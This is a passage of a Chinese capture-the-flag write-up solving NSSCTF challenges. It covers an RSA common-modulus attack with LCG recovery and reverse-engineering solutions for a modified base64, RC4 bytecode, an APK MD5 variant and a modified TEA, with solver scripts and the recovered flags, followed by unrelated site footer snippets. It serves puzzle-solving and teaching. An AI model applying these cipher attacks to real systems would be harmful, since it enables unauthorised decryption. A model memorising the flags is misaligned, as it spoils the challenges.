            res_left = res_left * cs[i]**(-cof)
    return res_left - res_right

#最大公约数
n = compute_kn(L[0])
for l in L[1:]:
    n = gcd(compute_kn(l),n)
    n = factor(n,limit = 2**20)[-1][0]
    if n.nbits() <= 2048:
        break
print(n)
n = 144195616225517130139553879032789087363345719184209965153957734484017481087563259298073412179385691339856835367038233652960921043438130441546622467854561746540234185779818652424614702625694747523202592051400384839225423182264627929190443610610683526608116658120285614198376504623869469278859145863411493155577

第二步共模攻击求因子a

#共模攻击
e1 = 2333
e2 = 23333
c1 =  132894829064255831243210470637067717685821770359549730768366345840525257033166172926149293454192143005551270166547902269036843756318967855047301751521125394803373953151753927497701242767032542708689455184991906629946511295108898559666019232955132938245031352553261823905498810285940911315433144300083027795647
c2 =  24086830909813702968855830967174364278115647345064163689290457852025690324300607354444884288995399344650789235347773145941872226843099538451759854505842021844881825309790171852845467221751852440178862638893185965125776165397575087879479327323737686652198357863042305078811580074617322063509435591981140533310

def eeccn(e1,e2,c1,c2,n):
    g, x1, x2 = gcdext(e1,e2)
    return pow(c1,x1,n)*pow(c2,x2,n) % n

a = eeccn(e1,e2,c1,c2,n)
#a = 6916067937269950974206746204164509896240838110131015886297814490101615527867219160040558623231859474391279572961225727366045095864405799615600246029206211  

再用lcg的两个值求因子b

#o2 = a*o1 + b mod n 
output1 =  54997286032365904331111467760366122947903752273328087460831713533712307510311367648330090376100815622160705007873798883153287827481112070182047111994066594911019010222064952859306742931009422376955635523160546531204043294436812066746785938062292942759004837173423765427628610568097898331237064396308950601636
output2 =  115015764780168428067411132384122324817310808727138440691727747976276050930701648349452842302609389394467134068064132550313721128807222231505312226682756817617177620169804112319332815872107656884931985435898097063491690413460967856530075292289784649593915313885813931026280791070577034075346669028068003251024

b = (output2 - a*output1)%n
long_to_bytes(b)
#NSSCTF{407f8832-6ffd-43bf-91a0-6900758cdff7}

REV

MyBASE

从主函数看就是个base64

void test()
{
  size_t v0; // [rsp+158h] [rbp+D8h] BYREF
  char Str[312]; // [rsp+160h] [rbp+E0h] BYREF
  char *Str2; // [rsp+298h] [rbp+218h]
  unsigned __int64 v3; // [rsp+2A0h] [rbp+220h]
  int i; // [rsp+2ACh] [rbp+22Ch]

  puts("Please input your flag:");
  scanf("%s", Str);
  v3 = strlen(Str);
  Str2 = base64_encode((__int64)Str, v3, &v0);
  for ( i = 0; i < v0; ++i )
    ;
  if ( !strcmp("YkLYv1Xj23X7N0E5eoFgUveKeos1XS8K9r4g", Str2) )
    printf("success!");
  else
    printf("error!");
  free(Str2);
}

然后进到base64_encode里,发现有些变化,在1的位置这3个字符取的位置跟正常的相反

第2个是在每处理完3个字符后会进行exception_handler()

 跟进后发现在这里会对base64的表进行变化,通过随机数,随机种子是上一个表的第1个字符(入口参数是字符型,所以只将第1个字符作种子)。

 有这个流程就可以逆了,总体来看不很很复杂

from pwn import u32 
from ctypes import *

clibc = cdll.LoadLibrary("msvcrt.dll")

enc = b'YkLYv1Xj23X7N0E5eoFgUveKeos1XS8K9r4g'
tab = b'+86420ywusqomkigecaYWUSQOMKIGECABDFHJLNPRTVXZbdfhjlnprtvxz13579/'

flag = b''
for i in range(0,len(enc),4):
    v = [tab.index(enc[i+j]) for j in range(4)]
    k3 = ((v[1]&3)<<6) + v[0]
    k2 = ((v[2]&0xf)<<4) + (v[1]>>2)
    k1 = (v[3]<<2)|(v[2]>>4)
    flag += bytes([k1,k2,k3])
    
    #change tab
    seed = tab[0] #取第1个字符为种子
    clibc.srand(seed)
    ttab = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    v = [_ for _ in ttab]
    for j in range(63,0,-1):
        v3 = clibc.rand()
        v[v3%(j+1)],v[j] = v[j],v[v3%(j+1)]
    tab = bytes(v)
    print(flag, tab)


print(flag)
#NSSCTF{Welc0me_T0_Re_World}

Bytecode

这个给的是python的字节码,手工翻译,大意是这样

from base64 import *
import string

#引入函数 check,init,fun,encrypt1,encrypt2,encrypt 

if __name__ == '__main__':
    key = input('Please input your key:')
    if check(key) == 1:
        print('Right')
    msg = input('Please input your message:')
    box = init(key)
    encode = encrypt(msg,box)
    #73 62 63 fd 11 81 64 1c 52 02 f8 3e a6 2e 46 8c 47 23 12 e5 3a a7 23 50 53 69 92 9d e4 32 b6 d2 66 36 8d fd d6 44 2b 08 71 e3 08 0a
    string1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    string2 = 'YRiAOe4PlGvxaCoNj2ZgX+q8t/5Em6IUpM9FrVb7BKwsT1n3fSydhDWuQHJ0ckzL'
    encode = translate(maketrans(string1,string2), b64encode(encode.encode()))

    if encode == 'mWGFL24R/RSZY3pzK9H4FOmFOnXJKyCjXWbZ7Ijy11GbCBukDrjsiPPFiYB='
        print('Congraduation!You get the right flag!')
    else:
        print('Wrong!')
        
    print('Wrong')
    exit()



def check(key):
    x = (...fake...)
    if len(key) != len(x):
        print()
    
    for i in range(len(key)):
        if x[i] != ord(key[i])^i:
            xxx

def init():
    s_box = range(256)
    j = 0
    for i in range(256):
        j = s_box[i]+j + ord(key[i%len(key)])  
    s_box[i],sbox[j] = s_box[j],s_box[i]
    return s_box

def fun(msg):
    key = "Just kidding, don't take it personally!"
    x = []
    for i in range(len(msg)):
        x.append(ord(msg[i]) ^ ord(key[i%len(key)]))
        x.pop()
             #60 POP_TOP
    for i in range(len(x)):
        x[i]^=i

def encrypt1(msg):
    x = []
    i = 0
    j = 0
    for k in range(len(msg)):
        i = (i+1)%256
        j = (s_box[i] + j)%256
        s_box[i],s_box[j] = s_box[j],s_box[i]        
        t = (s_box[i] + s_box[j])%256
        x.append(s_box[t]^ord(msg[k]))
    return x 

def encrypt2():
    x = []
    i = 0
    j = 0
    for k in range(len(msg)):
        i = (i+1)%256
        j = (s_box[i] + j)%256
        s_box[i],s_box[j] = s_box[j],s_box[i]  
        t = (s_box[i] + s_box[j])%256
        x.append(s_box[t]^ord(msg[k]))
    return x 

def encrypt(msg):
    x = []
    i = 0
    j = 0
    for k in range(len(msg)):
        i = (i+1)%256
        j = (s_box[i] + j)%256
        s_box[i],s_box[j] = s_box[j],s_box[i]  
        t = (s_box[i] + s_box[j])%256
        x.append(s_box[t]^ord(msg[k]))
    return x 

只要翻译过来基本都能看明白了。最后有个小坑,得到的不是flag需要再作个序号+1的异或。

def init(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (s_box[i]+j + ord(key[i%len(key)]) )%256 
        s_box[i],s_box[j] = s_box[j],s_box[i]
    return s_box

key = "Just kidding, don't take it personally!"
tk = [78, 82, 81, 64, 80, 67, 125, 83, 96, 56, 121, 84, 61, 126, 81, 79, 79, 119, 38, 120, 39, 74, 112, 38, 44, 126, 103]
key = bytes([i^v for i,v in enumerate(tk)]).decode()
box = init(key)
print(box)

def encrypt(msg,s_box):
    x = []
    i = 0
    j = 0
    for k in range(len(msg)):
        i = (i+1)%256
        j = (s_box[i] + j)%256
        s_box[i],s_box[j] = s_box[j],s_box[i]  
        t = (s_box[i] + s_box[j])%256
        x.append(s_box[t]^msg[k])
    return x 


msg = bytes.fromhex('736263fd1181641c5202f83ea62e468c472312e53aa723505369929de432b6d266368dfdd6442b0871e3080a')
m = encrypt(msg,box)
print(bytes(m))
#b'OQPGQ@|mmk9<il9="qur8 &*,7}*~\x7f2\x11@\x13\x16\x11GB\x14\x1a\x10\x18H'
print(bytes([(i+1)^v for i,v in enumerate(m)]))
#b'NSSCTF{eda20db6-3cff-6125-f6ca-1a155bd3292c}'

MyAPK

这题有个坑,由于不会动调,结果坑里没出来。与WP对照才弄明白。

APK用jadx打开可以看到代码。只要等到时间是66.666s,按下就会得到flag,所以理所当然是把代码扒下来自己运行。但是不对。

后来才知道怎么回事。

在红箭头的位置,把一个double转整形。但这里反编译的不准确,应该是先转long再转整,不然后会有偏差。

而且结果是hash值,所以哪个都看着差不多,只有提交才提示错。

 直接拿代码编译运行即可。

class r2{
	
    public static String getit(String input) {
        int i;
        int messageLength;
        byte[] message;
        int g;
        int messageLength2;
        int f;
        int[] T = new int[64];
        for (int i2 = 0; i2 < 64; i2++) {
			//对Math.abs(...)*4.... 需要先转long再取int
            T[i2] = (int)((long)(Math.abs(Math.sin(i2 + 1)) * 4.294967296E9d));
        }
        byte[] message2 = input.getBytes();
        int d = message2.length;
        int numBlocks = ((d + 8) >>> 6) + 1;
        int totalLength = numBlocks << 6;
        byte[] paddedMessage = new byte[totalLength];
        System.arraycopy(message2, 0, paddedMessage, 0, d);
        paddedMessage[d] = Byte.MIN_VALUE;
        long messageBits = d * 8;
        int i3 = 0;
        while (true) {
            i = 8;
            if (i3 >= 8) {
                break;
            }
            paddedMessage[(totalLength - 8) + i3] = (byte) (messageBits >>> (i3 * 8));
            i3++;
        }
        int[] state = {-1732584194, -271733879, 271733878, 1732584193};
        int i4 = 0;
        while (i4 < numBlocks) {
            int[] block = new int[16];
            for (int j = 0; j < 16; j++) {
                int index = (i4 << 6) + (j << 2);
                block[j] = (paddedMessage[index] & 255) | ((paddedMessage[index + 1] & 255) << i) | ((paddedMessage[index + 2] & 255) << 16) | ((paddedMessage[index + 3] & 255) << 24);
            }
            int a = state[0];
            int b = state[1];
            int c = state[2];
            int j2 = 0;
            int d2 = state[3];
            while (j2 < 64) {
                if (j2 < 16) {
                    message = message2;
                    messageLength = d;
                    messageLength2 = d2;
                    f = ((~b) & messageLength2) | (b & c);
                    g = j2;
                } else {
                    message = message2;
                    messageLength = d;
                    messageLength2 = d2;
                    if (j2 < 32) {
                        f = (messageLength2 & b) | ((~messageLength2) & c);
                        g = ((j2 * 5) + 1) % 16;
                    } else if (j2 < 48) {
                        f = (b ^ c) ^ messageLength2;
                        g = ((j2 * 3) + 5) % 16;
                    } else {
                        f = ((~messageLength2) | b) ^ c;
                        g = (j2 * 7) % 16;
                    }
                }
                int temp = messageLength2;
                int d3 = c;
                c = b;
                b += Integer.rotateLeft(a + f + block[g] + T[j2], 7);
                a = temp;
                j2++;
                d2 = d3;
                message2 = message;
                d = messageLength;
                T = T;
                block = block;
            }
            int messageLength3 = d;
            int messageLength4 = d2;
            state[0] = state[0] + a;
            state[1] = state[1] + b;
            state[2] = state[2] + c;
            state[3] = state[3] + messageLength4;
            i4++;
            d = messageLength3;
            T = T;
            i = 8;
        }
        byte[] hash = new byte[16];
        for (int i5 = 0; i5 < 4; i5++) {
            hash[i5 * 4] = (byte) (state[i5] & 255);
            hash[(i5 * 4) + 1] = (byte) ((state[i5] >>> 8) & 255);
            hash[(i5 * 4) + 2] = (byte) ((state[i5] >>> 16) & 255);
            hash[(i5 * 4) + 3] = (byte) ((state[i5] >>> 24) & 255);
        }
        StringBuilder sb = new StringBuilder();
        for (int i6 = 0; i6 < hash.length; i6++) {
            sb.append(String.format("%02x", Integer.valueOf(hash[i6] & 255)));
        }
        System.out.println(sb.toString());
		return sb.toString();
    }
    public static void main(String[] args) {
        String my = "66.666s";
        System.out.println(getit(my));
    }
	
}
//NSSCTF{1a74ee530fafa690dcddd0ce38260755}

Tea or XTtea

这个也是差一点

这是一个经过混淆的代码,不过很短手工可以恢复

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v5; // ecx
  __pid_t v6; // eax
  int v7; // ecx
  int v8; // eax
  size_t v9; // rax
  int v10; // ecx
  int v11; // edx
  int v12; // esi
  int v13; // eax
  size_t v14; // rax
  int v15; // ecx
  int v16; // edx
  int v17; // esi
  int v18; // eax
  int v19; // eax
  int v20; // eax
  int v21; // eax
  int v23; // [rsp+ECh] [rbp-24h]
  int v24; // [rsp+F0h] [rbp-20h]
  int v25; // [rsp+F4h] [rbp-1Ch]
  int v26; // [rsp+F8h] [rbp-18h]
  int v27; // [rsp+FCh] [rbp-14h]
  int v28; // [rsp+100h] [rbp-10h]
  size_t v29; // [rsp+108h] [rbp-8h]

  before_main();
  printf(aNoOneTraceMe, argv);
  puts("Please input your flag:");
  scanf("%s", input);
  v29 = strlen((const char *)(unsigned int)input);
  v23 = 1801919288;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( v23 == -1827964049 )
      {
        p = (__int64)&input[v28];
        v11 = *(_DWORD *)&input[v28];
        v12 = cd++;
        flag[v12] = v11;
        v23 = 1580933206;
      }
      if ( v23 != -1712856092 )
        break;
      v28 = 0;
      v23 = 904879898;
      close(dword_404138);
    }
    if ( v23 == -1700936880 )
      break;
    switch ( v23 )
    {
      case -1599979081:
        v19 = -1126838779;                      // 加密偶部分
        if ( v24 < 10 )
          v19 = 373420789;
        v23 = v19;
        break;
      case -1590649948:
        v13 = -864600155;
        if ( v27 < 10 )
          v13 = 601686237;
        v23 = v13;
        break;
      case -1371351848:
        p = (__int64)&input[v26];               // 写4字节到flag
        v16 = *(_DWORD *)&input[v26];
        v17 = cd++;
        flag[v17] = v16;
        v23 = 1181823979;
        break;
      case -1225256530:
        v27 += 2;
        v23 = -1590649948;
        break;
      case -1126838779:
        v21 = 194163193;                        // 20第3部分
        if ( k )
          v21 = 528867005;                      // 20。1
        v23 = v21;
        break;
      case -1116901551:
        v27 = 0;
        v23 = -1590649948;
        break;
      case -1063953602:
        v23 = 250224098;                        // 偶部分下一步
        break;
      case -864600155:
        close(fd[0]);
        _exit(0);
      case -378067225:
        close(dword_404138);                    // over
        wait(0LL);
        exit(0);
      case -166712886:
        v18 = 1520935878;                       // 10,加密前后部分
        if ( v25 < 5 )
          v18 = 1905508328;
        v23 = v18;
        break;
      case 31730073:
        k = 0;
        v23 = -1063953602;
        break;
      case 56367258:                            // 4,检查pid
        v8 = 2123706874;
        if ( !pid )
          v8 = -1712856092;
        v23 = v8;
        break;
      case 194163193:
        v23 = -378067225;
        puts("You are wrong!!!");
        break;
      case 250224098:
        ++v24;
        v23 = -1599979081;                      // 偶部分++
        break;
      case 258672972:                           // 3,fork进程
        v6 = fork();
        v7 = 56367258;
        pid = v6;
        if ( v6 == -1 )
          v7 = 1299675875;
        v23 = v7;
        break;
      case 355734949:
        k = 0;
        v23 = 845159230;
        break;
      case 373420789:
        v20 = -1063953602;
        if ( flag[v24] != enc1[v24] )           // 偶部分比较
          v20 = 31730073;
        v23 = v20;
        break;
      case 528867005:
        v23 = -378067225;
        puts("You are right!!!");
        break;
      case 601686237:
        encode_1((unsigned int *)&flag[v27], &key2);
        v23 = -1225256530;
        break;
      case 845159230:                           // 2,打开管道
        v4 = pipe(fd);
        v5 = 258672972;
        if ( v4 == -1 )
          v5 = -1700936880;
        v23 = v5;
        break;
      case 904879898:
        v9 = strlen((const char *)(unsigned int)input);
        v10 = -1116901551;
        if ( v28 < v9 )
          v10 = -1827964049;
        v23 = v10;
        break;
      case 1181823979:                          // 7,+=4
        v26 += 4;
        v23 = 1775879993;
        break;
      case 1285116999:                          // 12
        ++v25;
        v23 = -166712886;
        break;
      case 1299675875:
        exit(1);
      case 1520935878:                          // 21,
        v24 = 0;
        v23 = -1599979081;
        break;
      case 1580933206:
        v28 += 4;
        v23 = 904879898;
        break;
      case 1775879993:                          // 5,取长度 while循环检查
        v14 = strlen((const char *)(unsigned int)input);
        v15 = 1962670163;
        if ( v26 < v14 )
          v15 = -1371351848;
        v23 = v15;
        break;
      case 1801919288:                          // 长度检查 40
        v3 = 845159230;
        if ( v29 != 40 )
          v3 = 355734949;
        v23 = v3;
        break;
      case 1905508328:
        encode_2((unsigned int *)&flag[2 * v25], &key1);// 11,加密前部分
        v23 = 1285116999;
        break;
      case 1962670163:                          // jmp
        v25 = 0;
        v23 = -166712886;
        break;
      default:
        puts("this is father");
        v26 = 0;
        v23 = 1775879993;
        close(fd[0]);
        break;
    }
  }
  perror("pipe");
  exit(1);
}

按照运行顺序一段段理出来,应该是执行decrypt2,用key1

这个decrypto2是个魔改的Tea,已经像咖啡了

__int64 __fastcall encode_2(unsigned int *a1, unsigned int *key)
{
  int v2; // eax
  __int64 result; // rax
  int i; // [rsp+14h] [rbp-28h]
  unsigned int v5; // [rsp+1Ch] [rbp-20h]
  unsigned int v6; // [rsp+20h] [rbp-1Ch]
  unsigned int v7; // [rsp+24h] [rbp-18h]
  unsigned int v8; // [rsp+28h] [rbp-14h]

  v8 = *a1;
  v7 = a1[1];
  v6 = 0xC6EF3720;
  v5 = 0;
  for ( i = 0x97FDC462; ; i = 0x97FDC462 )
  {
    while ( 1 )
    {
      while ( i == 0x8480D1BC )
      {
        v6 -= 0x61C88647;
        v8 += (key[(v6 >> 2) & 4] + v6) ^ (v7 + ((v7 >> 3) ^ (16 * v7)));
        v7 += (key[v6 & 4] + v6) ^ (v8 + ((v8 >> 3) ^ (16 * v8)));
        i = 0x4E2F6F4;
      }
      if ( i != 0x97FDC462 )
        break;
      v2 = 0x304E1762;
      if ( v5 < 0x20 )
        v2 = 0x8480D1BC;
      i = v2;
    }
    if ( i != 0x4E2F6F4 )
      break;
    ++v5;
  }
  *a1 = v8;
  result = v7;
  a1[1] = v7;
  return result;
}

关键问题是这个Tea一般是4组key但这里用的&4只用0和4,一直猜用的是几。其实都不对,用的就是0和4(4是个0)

from pwn import u32,p32
from ctypes import *

#        v8 += (key[(v6 >> 2) & 4] + v6) ^ (v7 + ((v7 >> 3) ^ (16 * v7)));
#        v7 += (key[v6 & 4] + v6) ^ (v8 + ((v8 >> 3) ^ (16 * v8)));
def decrypt2(v, k):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    delta = 0x9e3779b9 
    #k0, k1, k2, k3 = k[0], k[1], k[2], k[3]

    total = c_uint32(delta * 32 + 0xC6EF3720)
    for i in range(32):                       
        #v1.value -= ((v0.value<<4) + k2) ^ (v0.value + total.value) ^ ((v0.value>>5) + k3) 
        #v0.value -= ((v1.value<<4) + k0) ^ (v1.value + total.value) ^ ((v1.value>>5) + k1)  
        v1.value -= (k[(total.value)&4] + total.value)^(v0.value + ((v0.value>>3)^(v0.value<<4)))
        v0.value -= (k[(total.value>>2)&4] + total.value)^(v1.value + ((v1.value>>3)^(v1.value<<4)))
        total.value -= delta
        
    return v0.value, v1.value   


key1 = [0x21,0x37,0x4d,0x63,0]
enc = bytes.fromhex('70641578EA8F3FA0CA83549A39A609D65B34900F200B30126A0DD03815C2F8C3C9022D84FB1ACF56')
enc = [u32(enc[i*4:i*4+4]) for i in range(10)]
#print([hex(i) for i in enc])

flag = b''
for i in range(0,10,2):
    v0,v1 = enc[i],enc[i+1]
    v0,v1 = decrypt2([v0,v1], key1)
    flag += p32(v0)+p32(v1)

print(flag)
#flag{tea_or_xtea_you_should_choose_one!}

写完睡觉,最后一个file_encrypt看了WP但没看题,就不看了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/943602.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

资源分享| 4种聚类算法及可视化(Python)

在这篇文章中&#xff0c;基于20家公司的股票价格时间序列数据。根据股票价格之间的相关性&#xff0c;看一下对这些公司进行聚类的四种不同方式。 苹果&#xff08;AAPL&#xff09;&#xff0c;亚马逊&#xff08;AMZN&#xff09;&#xff0c;Facebook&#xff08;META&…

035 - datetime和timedstamp

该DATETIME类型用于包含日期和时间部分的值。MySQL检索并DATETIME以格式显示 值 。支持的范围是 到。 YYYY-MM-DD hh:mm:ss1000-01-01 00:00:009999-12-31 23:59:59 该TIMESTAMP数据类型被用于同时包含日期和时间部分的值。 UTCTIMESTAMP的范围是UTC。 1970-01-01 00:00:01203…

gitlab提交项目Log in with Access Token错误

目录 报错信息 问题描述 解决方案 报错信息 问题描述 在提交项目到gitlab时&#xff0c;需要添加账户信息 &#xff0c;但是报了这样一个错&#xff0c;原因应该就是路径问题&#xff0c;我在填写server地址的时候&#xff0c;就出现了路径问题&#xff0c;我把多余的几个/…

为啥这么多公司用 ZooKeeper?它到底解决了什么问题?

ZooKeeper 介绍 ZooKeeper 很流行&#xff0c;有个基本的疑问&#xff1a; ZooKeeper 是用来做什么的&#xff1f; 之前没有ZK&#xff0c;为什么会诞生 ZK&#xff1f; OK&#xff0c;解答一下上面的疑问&#xff1a;&#xff08;下面是凭直觉说的&#xff09; ZooKeeper …

前端项目部署,阿里云服务器部署前端项目,超详细

需求背景&#xff1a;作为一个前端&#xff0c;特别身处于中小公司时&#xff0c;对于部署也需要有所了解。本次就介绍前端基础的项目部署。本次使用的是阿里云服务器进行的部署 部署核心步骤 1.准备打包好的前端代码&#xff08;dist包&#xff09;或者是一个html文件 2.购买…

Day49|动态规划part10:188.买卖股票的最佳时机IV、121. 买卖股票的最佳时机、122.买卖股票的最佳时机II

188. 买卖股票的最佳时机IV leetcode链接&#xff1a;188 题「买卖股票的最佳时机 IVopen in new window」 视频链接&#xff1a;动态规划来决定最佳时机&#xff0c;至多可以买卖K次&#xff01;| LeetCode&#xff1a;188.买卖股票最佳时机4 给你一个整数数组 prices 和一…

【考研数学】概率论与数理统计 —— 第二章 | 一维随机变量及其分布(2,常见随机变量及其分布 | 随机变量函数的分布)

文章目录 引言三、常见的随机变量及其分布3.1 常见的离散型随机变量及其分布律&#xff08;一&#xff09;&#xff08;0-1&#xff09;分布&#xff08;二&#xff09;二项分布&#xff08;三&#xff09;泊松分布&#xff08;四&#xff09;几何分布&#xff08;五&#xff0…

利用R作圆环条形图

从理念上看&#xff0c;本质就是增加了圆环弧度的条形图。如上图2。 需要以下步骤&#xff1a; 数据处理&#xff0c;将EXCEL中的数据做成3*N的表格导入系统&#xff0c;代码如下&#xff1a;library(tidyverse) library(stringr)library(ggplot2)library(viridis) stuper &…

电脑连不上网?学会这5个方法,不用愁!

“怎么回事呢&#xff1f;我的电脑一直连不上网。尝试了好多个方法都还是不行。大家遇到这种情况的时候都是怎么处理的呀&#xff1f;” 在现代生活中&#xff0c;电脑连接到网络已经成为必不可少的一部分。如果电脑无法联网&#xff0c;可能会影响我们的工作和娱乐。那么&…

Scrum敏捷研发迭代式开发

Scrum是一个迭代式增量软件开发过程&#xff0c;是敏捷方法论中的重要框架之一。它通常用于敏捷软件开发&#xff0c;包括了一系列实践和预定义角色的过程骨架。Scrum中的主要角色包括Scrum主管&#xff08;Scrum Master&#xff09;、产品负责人&#xff08;Product Owner&…

【已解决】ZooKeeper配置中出现Error contacting service. It is probably not running

ZooKeeper配置中出现Error contacting service. It is probably not running 问题 安装zookeeper&#xff0c;启动报错了 Error contacting service. It is probably not running 思路 tail -100f logs/zookeeper-root-server-node1.itcast.cn.out 查看日志报错 zoo.cfg没…

LinuxShell变量

变量&#xff1a; 命名规则&#xff1a; 在Shell中&#xff0c;变量名可以由字母、数字或者下划线组成&#xff0c;并且只能以字母或者下划线开头。对于变量名的长度&#xff0c;Shell并没有做出明确的规定。因此&#xff0c;用户可以使用任意长度的字符串来作为变量名。但是…

算法:模拟思想算法

文章目录 实现原理算法思路典型例题替换所有问号提莫攻击N字型变换外观序列 总结 本篇总结的是模拟算法 实现原理 模拟算法的实现原理很简单&#xff0c;就是依据题意实现题意的目的即可&#xff0c;考察的是你能不能实现题目题意的代码能力 算法思路 没有很明显的算法思路…

模拟集成电路设计:Bandgap电路设计及版图实现

模拟集成电路设计 Bandgap电路设计及版图实现 一、目的&#xff1a; 1、熟悉模拟集成电路设计的基本流程&#xff0c;实现Bandgap电路设计&#xff1b; 2、熟悉Linux系统及Cadence Virtuoso icfb设计、仿真软件的使用方法。 二、原理&#xff1a; 1、设计目标&#xff1a;…

【HSPCIE仿真】输入网表文件(2)电路拓扑描述

电路拓扑描述 1.元器件描述语句(Elements)电阻(Resistor)电容(Capacitors)电感(Inductors)二极管(Diode)MOSFET 2. 模型(.MODEL)2.1 基本概念2.2 模型的使用.model 描述语句MOSFET的 .model 语句 3. 电源和激励描述语句3.1 独立源直流源梯形脉冲源Pattern Source 4. 库文件的调…

SpringBoot初级开发--加入Swagger展现接口文档(5)

Swagger 是一个规范且完整的框架&#xff0c;用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。作为web开发&#xff0c;它已经成了接口文档服务的代名词了。现在很多协作型项目&#xff0c;都用它生成api文档&#xff0c;让大家能够很好的协作开发。紧接上一章&#xf…

液冷技术之液冷连接器快速接头

文章目录 系列文章目录前言一、pandas是什么&#xff1f;二、使用步骤 1.引入库2.读入数据总结 前言 热能在液冷技术的研发不断加大&#xff0c;特别是在水冷产品生产工艺上不断革新&#xff0c;在铜管自动折弯、挤型模、压管、粘连焊接等技术工艺获得了多个技术专利&#xff0…

php环境搭建步骤(与资源配套使用版)

1.将phpEnv.zip下载到D盘下 2.解压到当前文件夹 3.找到Apache24下的bin目录&#xff0c;执行cmd操作&#xff0c;回车。 4.在cmd中执行代码 Httpd -k install -n “Apache24” 4.使用winR键打开运行&#xff0c;输入services.msc &#xff0c;回车&#xff0c;进入服务 …

Java运行时jar时终端输出的中文日志是乱码

运行Jar时在控制台输出的中文日志全是乱码&#xff0c;这是因为cmd/bash默认的编码是GBK&#xff0c;只要把cmd的编码改成UTF-8即可 两种方式修改&#xff1a;临时修改和注册表永久修改 临时修改 只对当前的cmd页面有效&#xff0c;关闭后重新打开都会恢复成GBK, 打开cmd&am…

“私车公用”如何便捷又合规?百望云解决方案来支招!

“昨天有几家门店反映工作中遇到难题了&#xff0c;领导交代我赶紧去解答一下”。中午11点半&#xff0c;某大型连锁门店的督导李某顾不上吃午饭&#xff0c;开着自己的私家车赶往辖区门店。 去干公事怎么开私家车&#xff1f;面对同行人员的疑问&#xff0c;李某拿出了自己的…